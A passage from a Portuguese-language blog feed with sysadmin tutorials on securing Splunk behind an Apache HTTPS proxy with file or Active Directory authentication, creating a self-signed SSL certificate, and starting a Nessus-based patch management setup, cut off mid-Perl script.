Caso prefira executar em HTTP apenas (não recomendo), remova as quatro linhas a partir de SSLEngine e edite as linhas ProxyPass e ProxyPassReverse, substituindo https por http. Lembre-se também de editar o arquivo de configuração do splunk, colocando a variável enableSplunkWebSSL para o valor 0.&lt;br /&gt;
&lt;br /&gt;
É importante que você bloqueie o acesso externo à porta 8000, para forçar o uso do Splunk através da porta configurada no proxy (8066 no caso), que garantirá a autenticação. Esse bloqueio pode ser feito através do iptables:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
&lt;b&gt;[dms@s1 ~]#&lt;/b&gt; iptables -A INPUT -p tcp -s 127.0.0.1/32 --dport 8000 -j ACCEPT&lt;br /&gt;
&lt;b&gt;[dms@s1 ~]#&lt;/b&gt; iptables -A INPUT -p tcp --dport 8000 -j DROP&lt;br /&gt;
&lt;b&gt;[dms@s1 ~]#&lt;/b&gt; iptables -L -n&lt;br /&gt;
&lt;pre&gt;Chain INPUT (policy ACCEPT)
target     prot opt source               destination         
ACCEPT     tcp  --  127.0.0.1            0.0.0.0/0           tcp dpt:8000
DROP       tcp  --  0.0.0.0/0            0.0.0.0/0           tcp dpt:8000
&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
Com o proxy em HTTPS agora configurado, e a porta 8000 bloqueada externamente, vamos à autenticação.&lt;br /&gt;
&lt;br /&gt;
A forma mais básica será através de um arquivo de usuários e senhas, adicionando as linhas a seguir no arquivo /etc/httpd/conf.d/splunk.conf, após as configurações de VirtualHost:&lt;br /&gt;
&lt;pre&gt;&amp;lt;Proxy https://127.0.0.1:8000/splunk/*&amp;gt;
 AuthName &quot;Autenticacao - Splunk Manager&quot;
 AuthType Basic
 AuthUserFile /etc/httpd/htaccess.splunk
 require valid-user

&amp;lt;/Proxy&amp;gt;
&lt;/pre&gt;
Agora crie o arquivo de senhas usando o comando htpasswd (disponível no pacote httpd-tools):&lt;br /&gt;
&lt;blockquote&gt;
&lt;b&gt;[dms@s1 ~]#&lt;/b&gt; htpasswd -m -c /etc/httpd/htaccess.splunk dms&lt;br /&gt;
New password: &lt;br /&gt;
Re-type new password: &lt;br /&gt;
Adding password for user dms
&lt;/blockquote&gt;
&lt;br /&gt;
O parametro -m determinado o uso do MD5 para geração do hash da senha. O parametro -c indica que um novo arquivo será criado, e deve ser usado apenas no primeiro login. Para os próximos logins, utilize a mesma linha de comando sem o parâmetro -c. Verifique as permissões do arquivo criado, já que o usuário que executa o apache precisa de permissão de leitura.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Reiniciando o Apache, você já terá a autenticação necessária à console do Splunk. Basta agora manter o arquivo de senhas atualizado com os usuários necessários.&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Para a solução ficar mais elegante, você também pode usar uma base de usuários centralizada (Active Directory, por exemplo) ao invés de um arquivo de senhas. Para isso, precisamos de uma nova configuração no Apache. É possível usar o OpenLDAP também, caso prefira.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
O primeiro passo é criar um Security Group dentro do AD e adicionar todos os usuários com autorização de acesso à console do Splunk.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Agora, dentro do mesmo splunk.conf do Apache, adicione ao final as seguintes configurações (remova a configuração acima relacionada à autenticação via arquivo de senhas, se você testou):
&lt;/div&gt;
&lt;br /&gt;
&lt;pre&gt;&amp;lt;Proxy https://127.0.0.1:8000/splunk/*&amp;gt;
 AuthBasicProvider ldap
 AuthzLDAPAuthoritative on
 AuthName &quot;Autenticacao - Splunk Manager - AD&quot;
 AuthType Basic
 AuthLDAPBindDN         &quot;usuario&quot;
 AuthLDAPBindPassword   &quot;senha&quot;
 AuthLDAPURL            &quot;ldap://ad.meudominio.com.br:389/OU=Empresa,DC=exemplo,DC=com,DC=br?samAccountName?sub?(objectClass=*)&quot;
 require ldap-group CN=SplunkUsers,OU=Empresa,DC=exemplo,DC=com,DC=br
 Allow from all
&amp;lt;/Proxy&amp;gt;
&lt;/pre&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
É importante que você personalize os seguintes campos da configuração acima de acordo com o seu ambiente:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;AuthLDAPBindDN&lt;/b&gt;: Usuário criado no AD para consulta da árvore LDAP. Esse usuário não precisa ter privilégios além de participar do grupo Domain Users. Pode ser configurado como usuario@dominio OU dominio\usuario;&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;AuthLDAPBindPassword&lt;/b&gt;: Senha do usuário acima;&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;AuthLDAPURL&lt;/b&gt;: URL de busca para validar os usuários que utilizarão a autenticação. Nesta URL, altere o hostname de ad.meudominio.com.br para o AD do seu ambiente, e modifique o DN de acordo com o nome do seu domínio. Caso o seu dominio seja exemplo.com.br, e sua árvore possuir o nome Empresa, o DN será&amp;nbsp;OU=Empresa,DC=exemplo,DC=com,DC=br;&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;require ldap-group&lt;/b&gt;: Aqui é necessário indicar o DN do grupo criado no AD que conterá os usuários que terão permissão de acesso ao Splunk. No exemplo acima, foi criado um Security Group chamado SplunkUsers na raiz da OU Empresa.&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Com essa configuração, você terá a interface do Splunk em SSL, com autenticação através de um grupo do Active Directory.&amp;nbsp;Qualquer dúvida, comente abaixo.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;
Recomendo a leitura:&lt;br /&gt;
&lt;a href=&quot;http://httpd.apache.org/docs/2.2/pt-br/howto/htaccess.html&quot; target=_blank&gt;http://httpd.apache.org/docs/2.2/pt-br/howto/htaccess.html&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://httpd.apache.org/docs/2.2/pt-br/howto/auth.html&quot; target=_blank&gt;http://httpd.apache.org/docs/2.2/pt-br/howto/auth.html&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://httpd.apache.org/docs/2.2/mod/mod_authnz_ldap.html&quot; target=_blank&gt;http://httpd.apache.org/docs/2.2/mod/mod_authnz_ldap.html&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danielmenezessantana.blogspot.com/feeds/4247655443898162773/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://danielmenezessantana.blogspot.com/2011/11/splunk-com-autenticacao-apache-ssl.html#comment-form' title='2 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3337487558944364251/posts/default/4247655443898162773'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3337487558944364251/posts/default/4247655443898162773'/><link rel='alternate' type='text/html' href='http://danielmenezessantana.blogspot.com/2011/11/splunk-com-autenticacao-apache-ssl.html' title='Splunk com autenticação Apache + SSL'/><author><name>Daniel Santana</name><uri>http://www.blogger.com/profile/14051184572600340936</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaUZ_w5AwS3eA95WjcTT1F0Pazwv3SBSW6lgKPbL-dlEsvA6fE9P6uP-4wY3xZGSmZ5UdZCxb5evBHB69NLik3GCWGkKJCWtCS9-rOoQhePTZvpcHvppky3wOD8XtrYg/s1600/0555555555_reasonably_small.JPG'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3337487558944364251.post-2434672062125330264</id><published>2011-10-27T10:45:00.000-02:00</published><updated>2011-10-27T10:46:42.345-02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="apache"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="mod_ssl"/><category scheme="http://www.blogger.com/atom/ns#" term="openssl"/><category scheme="http://www.blogger.com/atom/ns#" term="ssl"/><title type='text'>Geração de chave e certificado para Apache SSL</title><content type='html'>Como muitos dos meus artigos citarão a necessidade de um Apache com SSL, resolvi escrever uma dica de como gerar tanto a chave como o certificado rapidamente no Linux. Com exceção da instalação do mod_ssl, específica aqui para CentOS/RedHat e Fedora, todos esses comandos podem ser utilizados em qualquer sistema que tenha OpenSSL com Apache.&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
O primeiro passo é gerar a chave privada com o OpenSSL:&lt;br /&gt;
&lt;div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;
&lt;blockquote&gt;
&lt;b&gt;root@bt:~#&lt;/b&gt; &lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #38761d;&quot;&gt;&lt;b&gt;openssl genrsa -out server.key 2048&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
Generating RSA private key, 2048 bit long modulus&lt;br /&gt;
.........+++&lt;br /&gt;
.........+++&lt;br /&gt;
e is 65537 (0x10001)&lt;/blockquote&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Com esses parametros, será gerada uma chave privada sem senha, já que não queremos digitar uma senha toda vez que o Apache foi iniciado. É importante que apenas o root tenha acesso de leitura e escrita ao arquivo (chmod 600 server.key), evitando que outros usuários do servidor a copiem. Esta chave será utilizada para assinar o certificado, já que não utilizaremos uma CA (Certificate Authority).&lt;br /&gt;
&lt;br /&gt;
O segundo passo será gerar a requisição do certificado para ser assinado pela própria chave acima (popularmente chamado de self-signed certificate):&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;b&gt;[root@bt ~]#&lt;/b&gt; &lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #38761d;&quot;&gt;&lt;b&gt;openssl req -new -key server.key -out server.csr&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
You are about to be asked to enter information that will be incorporated into your certificate request.&lt;br /&gt;
What you are about to enter is what is called a Distinguished Name or a DN.&lt;br /&gt;
There are quite a few fields but you can leave some blank&lt;br /&gt;
For some fields there will be a default value,&lt;br /&gt;
If you enter &#39;.&#39;, the field will be left blank.&lt;br /&gt;
-----&lt;br /&gt;
Country Name (2 letter code) [GB]: &lt;b&gt;&lt;u&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: red;&quot;&gt;BR&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
State or Province Name (full name) [Berkshire]:&lt;b&gt;&lt;u&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: red;&quot;&gt;SP&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
Locality Name (eg, city) [Newbury]:&lt;b&gt;&lt;u&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: red;&quot;&gt;Sao Paulo&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
Organization Name (eg, company) [My Company Ltd]:&lt;b&gt;&lt;u&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: red;&quot;&gt;Empresa&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
Organizational Unit Name (eg, section) []:&lt;b&gt;&lt;u&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: red;&quot;&gt;TI&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
Common Name (eg, your name or your server&#39;s hostname) []:&lt;b&gt;&lt;u&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: red;&quot;&gt;www.empresa.com&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
Email Address []:&lt;br /&gt;
&lt;br /&gt;
Please enter the following &#39;extra&#39; attributes&lt;br /&gt;
to be sent with your certificate request&lt;br /&gt;
A challenge password []:&lt;br /&gt;
An optional company name []:&lt;br /&gt;
&lt;br /&gt;&lt;/blockquote&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Os campos em vermelho destacados acima podem ser preenchidos conforme sua necessidade. Uma atenção deve ser dada apenas ao campo Common Name, onde é importante colocar o mesmo nome DNS cadastrado do servidor Web.&lt;br /&gt;
&lt;br /&gt;
Esses campos posteriormente poderão ser verificados no certificado SSL ao acessar o servidor via browser. Após geração da requisição (arquivo CSR), precisamos agora assiná-lo com nossa chave:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
&lt;b&gt;[root@bt ~]# &lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #38761d;&quot;&gt;openssl x509 -req -days 3650 -in server.csr -signkey server.key -out server.crt&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
Signature ok&lt;br /&gt;
subject=/C=BR/ST=SP/L=Sao Paulo/O=Empresa/OU=TI/CN=www.empresa.com&lt;br /&gt;
Getting Private key&lt;/blockquote&gt;
&lt;br /&gt;
A linha acima cria um certificado server.crt com 3650 dias de validade, ou seja, 10 anos. Agora, você já possui os dois arquivos necessários para subir o Apache com SSL: server.crt e server.key. Copie-os para os diretórios&amp;nbsp;/etc/pki/tls/certs e /etc/pki/tls/private respectivamente (ou qualquer outro diretório que prefira) e modifique as variáveis abaixo no seu arquivo de configuração SSL do Apache, no nosso caso o /etc/httpd/conf.d/ssl.conf:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;SSLCertificateFile /etc/pki/tls/certs/server.crt
SSLCertificateKeyFile /etc/pki/tls/private/server.key
&lt;/pre&gt;
Caso você ainda não possua o mod_ssl instalado, digite &quot;yum install mod_ssl&quot; como root para instalar e ativar o módulo mod_ssl com a configuração padrão do Apache 2.2. Será criado o arquivo ssl.conf citado acima no diretório /etc/httpd/conf.d, com todas as configurações já necessárias. Em outras distribuições, um arquivo ssl semelhante será criado no diretório de configurações do Apache, basta procurar e modificar. &lt;br /&gt;
&lt;br /&gt;
Apenas as duas variáveis acima precisarão ser alteradas com a chave e o certificado criado, pois&amp;nbsp;a configuração padrão utiliza a chave privada já presente no sistema, assim como o certificado, que são os arquivos localhost.crt e localhost.key existentes nos diretórios /etc/pki/tls/certs e /etc/pki/tls/private respectivamente.&lt;br /&gt;
&lt;br /&gt;
Após as configurações, reinicie o Apache e o SSL já estará funcionando com o novo certificado gerado. Verifique as informações citadas acima em vermelho através das propriedades do certificado no browser para confirmar o uso dos arquivos corretos.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danielmenezessantana.blogspot.com/feeds/2434672062125330264/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://danielmenezessantana.blogspot.com/2011/10/geracao-de-chave-e-certificado-para.html#comment-form' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3337487558944364251/posts/default/2434672062125330264'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3337487558944364251/posts/default/2434672062125330264'/><link rel='alternate' type='text/html' href='http://danielmenezessantana.blogspot.com/2011/10/geracao-de-chave-e-certificado-para.html' title='Geração de chave e certificado para Apache SSL'/><author><name>Daniel Santana</name><uri>http://www.blogger.com/profile/14051184572600340936</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaUZ_w5AwS3eA95WjcTT1F0Pazwv3SBSW6lgKPbL-dlEsvA6fE9P6uP-4wY3xZGSmZ5UdZCxb5evBHB69NLik3GCWGkKJCWtCS9-rOoQhePTZvpcHvppky3wOD8XtrYg/s1600/0555555555_reasonably_small.JPG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3337487558944364251.post-6148648145632879712</id><published>2011-10-17T22:25:00.000-02:00</published><updated>2011-10-20T14:22:30.939-02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="apache"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="mysql"/><category scheme="http://www.blogger.com/atom/ns#" term="nessus"/><category scheme="http://www.blogger.com/atom/ns#" term="patch management"/><category scheme="http://www.blogger.com/atom/ns#" term="perl"/><category scheme="http://www.blogger.com/atom/ns#" term="php"/><category scheme="http://www.blogger.com/atom/ns#" term="python"/><title type='text'>HomeMade Patch Management System - Parte 1</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
Com a facilidade da virtualização, percebi que possuia inúmeros sistemas desatualizados em casa e como não era trivial saber o que realmente precisava ser atualizado. Independente da criticidade dos mesmos,&amp;nbsp;como em qualquer outro ambiente, vi que finalmente era hora de ter um controle efetivo das atualizações de segurança pendentes.&lt;br /&gt;
&lt;br /&gt;
Após algumas pesquisas, não consegui achar um software que atendesse as minhas necessidades de automatizar e consolidar esse processo.&amp;nbsp;Foi então que resolvi integrar algumas tecnologias que conheço para resolver o meu problema e criar um HomeMade Patch Management System&amp;nbsp;utilizando:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;ul style=&quot;text-align: justify;&quot;&gt;
&lt;li&gt;LAMP (Linux, Apache, MySQL, PHP) &lt;/li&gt;
&lt;li&gt;Nessus&lt;/li&gt;
&lt;li&gt;Perl&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
No meu caso, utilizei o Linux CentOS 5.6 como servidor, com o pacote RPM do Nessus disponível no &lt;a href=&quot;http://www.nessus.org/products/nessus&quot;&gt;site oficial&lt;/a&gt;, mas qualquer outra distribuição funcionará sem problemas. A própria Tenable já disponibiliza diversos pacotes para diversos sistemas operacionais.&lt;br /&gt;
&lt;br /&gt;
A única atenção especial é a instalação do Nessus com a licença HomeFeed. Caso você vá utiliza-lo em um ambiente corporativo, é necessário comprar a licença ProfessionalFeed. Recomendo usar o guia da própria Tenable para maiores detalhes: &lt;a href=&quot;http://static.tenable.com/documentation/nessus_4.4_installation_guide.pdf&quot;&gt;Nessus 4.4 Installation Guide&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Antes de prosseguir para os scans com o Nessus, é essencial verificar se está tudo OK com a licença da sua instalação, assim como garantir que os plugins serão atualizados diariamente.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;
Verificando a licença:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
&lt;b&gt;[dms@s1 ~]#&lt;/b&gt; /opt/nessus/bin/nessus-fetch --check
&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #38761d;&quot;&gt;nessus-fetch is properly configured to receive a HomeFeed
&lt;/span&gt;&lt;/blockquote&gt;
&lt;br /&gt;
&lt;div&gt;
Vericando a atualização automática dos plugins:&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;blockquote&gt;
&lt;b&gt;[dms@s1 ~]#&lt;/b&gt; grep _update /opt/nessus/etc/nessus/nessusd.conf&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #38761d;&quot;&gt;auto_update = yes&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #38761d;&quot;&gt;auto_update_delay = 24
&lt;/span&gt;&lt;/blockquote&gt;
&lt;div&gt;
&lt;br /&gt;
As configurações acima, ativas por padrão desde a versão 3.0 do Nessus, garantem que a cada 24 horas os plugins serão atualizados. Para verificar a data da última atualização, consulte o timestamp da variável PLUGIN_SET no arquivo abaixo:&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;b&gt;[dms@s1 ~]#&lt;/b&gt; cat /opt/nessus/var/nessus/plugin_feed_info.inc&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #38761d;&quot;&gt;PLUGIN_SET = &quot;201110131236&quot;;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #38761d;&quot;&gt;PLUGIN_FEED = &quot;HomeFeed (Non-commercial use only)&quot;;
&lt;/span&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Após todas as instalações e verificações, o primeiro passo é entrar na console de configuração do Nessus ( https://servidor_nessus:8834 ) e configurar uma Policy com os plugins desejados. Será necessário informar o login e senha criados durante a instalação do Nessus. Caso você não tenha criado, use o comando&amp;nbsp;/opt/nessus/sbin/nessus-adduser&lt;br /&gt;
&lt;br /&gt;
Para criar uma nova Policy, clique no menu Policies-&amp;gt;Add, que o levará para a tela abaixo:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJ7iuMTSB5hfuoDNdfv2_nxs2VUG0TH8kQ4-lv2a5YBqn9pg1nxF0MLFB_jVCYBb3LYFebf9i8T1akKcgpIqycKIYcfx1RRPp-c_nz2xmmsqDT6wsgrak3CTH76ihuad29-u-WiZLWfl47/s1600/nessus1.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;180&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJ7iuMTSB5hfuoDNdfv2_nxs2VUG0TH8kQ4-lv2a5YBqn9pg1nxF0MLFB_jVCYBb3LYFebf9i8T1akKcgpIqycKIYcfx1RRPp-c_nz2xmmsqDT6wsgrak3CTH76ihuad29-u-WiZLWfl47/s320/nessus1.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
A configuração inicial é bem intuitiva. A única preocupação que tive neste passo foi desmarcar todos os portscanners, com exceção do &quot;Ping Host&quot;, por questão de performance. Este foi habilitado para que apenas os hosts &quot;vivos&quot; (verificados com ICMP Echo Request) sejam scaneados. Não vi necessidade de realizar um portscan em todos os servidores a cada vez que a política for executada, mas isso é algo pessoal. Habilitei também a opção &quot;Reduce Parallel Connections on Congestion&quot; para evitar problemas de congestionamento na rede. Os outros parametros todos são padrão e não foram alterados.&lt;br /&gt;
&lt;br /&gt;
Ao finalizar, clique em Next ou no menu à esquerda, selecione &quot;Credentials&quot;:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqofIUapW_YFJwms5H50a40wevyozUYcmw6qT5mE_RNdFhFVwzXGLRcCTGI1i2RVvOjSzisyk2L1z6sTh8tWGtUwpGKQAv3rHP7jyEGaCDQVshhE7oBXnnqnU3XWhSpbu81J4rLX2HuKjw/s1600/nessus2.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;178&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqofIUapW_YFJwms5H50a40wevyozUYcmw6qT5mE_RNdFhFVwzXGLRcCTGI1i2RVvOjSzisyk2L1z6sTh8tWGtUwpGKQAv3rHP7jyEGaCDQVshhE7oBXnnqnU3XWhSpbu81J4rLX2HuKjw/s320/nessus2.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Para que o Nessus consiga conectar e obter informações dos servidores, é necessário configurar as credenciais de autenticação&amp;nbsp;dentro da Policy, tanto para servidores Linux/BSD/UNIX através de SSH, como para servidores Windows.&amp;nbsp;Recomendo criar um usuário exclusivamente para essa auditoria, por questões de controle.&lt;br /&gt;
&lt;br /&gt;
Veja que existem diversas opções de configuração desse usuário. A forma mais recomendada é cria-lo sem privilégios, com permissão para utilizar o sudo e sua autenticação ser através de chaves, no caso dos sistemas Linux/UNIX-like. Um manual bem explicativo para configuração de chaves pode ser encontrado na &lt;a href=&quot;https://help.ubuntu.com/community/SSH/OpenSSH/Keys&quot;&gt;documentação do Ubuntu&lt;/a&gt;. Para Windows, não vi outra solução: é necessário configurar um usuário com privilégio administrativo local.&lt;br /&gt;
&lt;br /&gt;
Novamente, clique em Next ou no menu à esquerda, selecione &quot;Plugins&quot;:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqa5St53UlKoHB0AuXRuxNvYwNEnyHRcU-dq6FE1aEzqCa4H-eaKxNSqJuJapENbIEwiNwIGMYZbapry7oFVCJ9tvNQTe96tTnAPcHQ7z80OdiIw24c3hCKDOo_PE6YtjXkLJNIicC35wq/s1600/nessus3.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;178&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqa5St53UlKoHB0AuXRuxNvYwNEnyHRcU-dq6FE1aEzqCa4H-eaKxNSqJuJapENbIEwiNwIGMYZbapry7oFVCJ9tvNQTe96tTnAPcHQ7z80OdiIw24c3hCKDOo_PE6YtjXkLJNIicC35wq/s320/nessus3.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Como o foco é apenas verificar quais os patches de segurança pendentes nos sistemas, selecione os plugins &quot;Local Security Checks&quot; de acordo com os sistemas operacionais presentes no seu ambiente, inclusive separados por distribuição Linux, se precisar. Exemplos:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;CentOS&amp;nbsp;Local Security Checks&lt;/li&gt;
&lt;li&gt;FreeBSD&amp;nbsp;Local Security Checks&lt;/li&gt;
&lt;li&gt;MacOS X&amp;nbsp;Local Security Checks&lt;/li&gt;
&lt;li&gt;Ubuntu&amp;nbsp;Local Security Checks&lt;/li&gt;
&lt;li&gt;Outros&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
Outros plugins serão automaticamente selecionados, por conta das configurações padrão do Nessus, dentro da subcategoria &lt;i&gt;General&lt;/i&gt;&amp;nbsp;e &lt;i&gt;Settings,&lt;/i&gt;&amp;nbsp;que você deve deixar selecionado. Um plugin interessante que pode também ser ativado é &lt;i&gt;Settings-&amp;gt;&amp;nbsp;Authenticated Check: OS Name and Installed Package Enumeration, &lt;/i&gt;para obter a lista de pacotes instalados.&lt;br /&gt;
&lt;br /&gt;
Com todos esses passos definidos, clique em Submit e sua Policy está criada. É muito importante que você execute-a em alguns hosts para testes e verificar se o resultado está conforme o esperado. Essa execução inicial também será importante para validar se o usuário configurado está OK.&lt;br /&gt;
&lt;br /&gt;
Um ponto importante agora é a instalação do pacote perl-Net-Nessus-XMLRPC, disponível nos principais repositórios Linux ou através do CPAN. Ele permitirá a integração entre o script Perl mostrado abaixo e o Nessus, através do protocolo&amp;nbsp;&lt;a href=&quot;http://www.nessus.org/documentation/nessus_XMLRPC_protocol_guide.pdf&quot;&gt;Nessus-XMLRPC&lt;/a&gt;.&amp;nbsp;Caso tenha interesse em conhecer a documentação desta implementação em Perl, recomendo checar &lt;a href=&quot;http://search.cpan.org/~kost/Net-Nessus-XMLRPC-0.30/lib/Net/Nessus/XMLRPC.pm&quot;&gt;a página oficial&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Existe essa mesma implementação do &lt;a href=&quot;http://code.google.com/p/nessusxmlrpc/&quot;&gt;Nessus XMLRPC em Python&lt;/a&gt;, caso prefira utiliza-la. O conceito será o mesmo, assim como os parâmetros usados.&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;#!/usr/bin/perl

# Original script found at: http://www.centralconsultancy.com

if ($#ARGV &amp;lt; 0) {
 print &quot;usage: nessus.pl target-file\n&quot;;
 exit;
}

my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime;
$year += 1900;
$mon += 1;
my $datetime = sprintf &quot;%04d%02d%02d%02d%02d&quot;, $year, $mon, $mday, $hour, $min;

use Net::Nessus::XMLRPC;

# On 1st field, &#39;&#39; is same as https://localhost:8834/
